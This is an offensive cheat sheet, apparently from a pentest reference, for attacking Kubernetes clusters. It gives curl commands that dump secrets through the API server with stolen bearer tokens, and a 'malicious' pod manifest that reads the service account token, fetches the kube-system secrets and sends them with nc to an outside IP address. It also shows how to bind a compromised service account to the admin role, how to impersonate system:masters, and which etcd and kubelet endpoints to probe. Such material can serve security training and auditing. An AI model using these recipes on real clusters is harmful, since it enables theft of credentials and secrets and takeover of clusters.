Kubernetes Exploit#

Auditing tools, secret-extraction tradecraft, and post-exploitation recipes for Kubernetes clusters. The operator points kubeaudit and kube-bench at the cluster, then walks RBAC, service account tokens, and exposed API endpoints to widen access.

Tools#

  • kubeaudit, command-line tool to audit Kubernetes clusters for security concerns (non-root containers, read-only root filesystem, dropped capabilities, no new capabilities, non-privileged). https://github.com/Shopify/kubeaudit

  • kubesec.io, online security risk analysis for Kubernetes resources. https://kubesec.io/

  • kube-bench, Go application that checks whether Kubernetes is deployed securely by running checks from the CIS Kubernetes Benchmark. https://github.com/aquasecurity/kube-bench

  • katacoda, interactive browser-based Kubernetes scenarios. https://katacoda.com/courses/kubernetes

Listing secrets#

An attacker that gains access to list secrets in the cluster can use the following curl to grab all secrets in kube-system.

$ curl -v -H "Authorization: Bearer <jwt_token>" \
    https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kubernetes secret locations#

Secrets store passwords, API tokens, SSH keys. Watch for volume mount points where secrets can be stored and referenced by the pod.

$ kubectl get secrets
$ kubectl describe secrets/<Name>

# Decode a secret username or password
$ echo '<base64_username_string>' | base64 --decode
$ echo '<base64_password_string>' | base64 --decode

Pod creation#

Check rights.

$ kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

Then create a malicious pod.yaml.

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"]
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true

Apply.

$ kubectl apply -f malicious-pod.yaml

Use pods / exec privilege#

$ kubectl exec -it <POD NAME> -n <PODS NAMESPACE> -- sh

Get / patch rolebinding privilege#

Bind the admin ClusterRole to the compromised service account.

{
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "kind": "RoleBinding",
  "metadata": {
    "name": "malicious-rolebinding",
    "namespcaes": "default"
  },
  "roleRef": {
    "apiGroup": "*",
    "kind": "ClusterRole",
    "name": "admin"
  },
  "subjects": [
    { "kind": "ServiceAccount", "name": "sa-comp", "namespace": "default" }
  ]
}

Apply with a JWT token.

$ curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
    -H "Content-Type: application/json" \
    https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
    -d @malicious-RoleBinging.json

Retrieve secrets with the new compromised token.

$ curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" \
    -H "Content-Type: application/json" \
    https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret

Impersonating an account#

$ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
    -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" \
    -H "Accept: application/json" \
    https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Service account token#

$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" \
    https://<master_ip>:<port>/api/v1/namespaces/default/secrets/

Enumerable endpoints#

# List Pods
$ curl -v -H "Authorization: Bearer <jwt_token>" \
    https://<master_ip>:<port>/api/v1/namespaces/default/pods/

# List secrets
$ curl -v -H "Authorization: Bearer <jwt_token>" \
    https://<master_ip>:<port>/api/v1/namespaces/default/secrets/

# List deployments
$ curl -v -H "Authorization: Bearer <jwt_token>" \
    https://<master_ip>:<port>/apis/extensions/v1beta1/namespaces/default/deployments

# List daemonsets
$ curl -v -H "Authorization: Bearer <jwt_token>" \
    https://<master_ip>:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets

API endpoints#

# cAdvisor
$ curl -k https://<IP>:4194

# Insecure API server
$ curl -k https://<IP>:8080

# Secure API server
$ curl -k https://<IP>:(8|6)443/swaggerapi
$ curl -k https://<IP>:(8|6)443/healthz
$ curl -k https://<IP>:(8|6)443/api/v1

# etcd API
$ curl -k https://<IP>:2379
$ curl -k https://<IP>:2379/version
$ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

# Kubelet API
$ curl -k https://<IP>:10250
$ curl -k https://<IP>:10250/metrics
$ curl -k https://<IP>:10250/pods

# Kubelet (read only)
$ curl -k https://<IP>:10255
$ http://<external-IP>:10255/pods

References#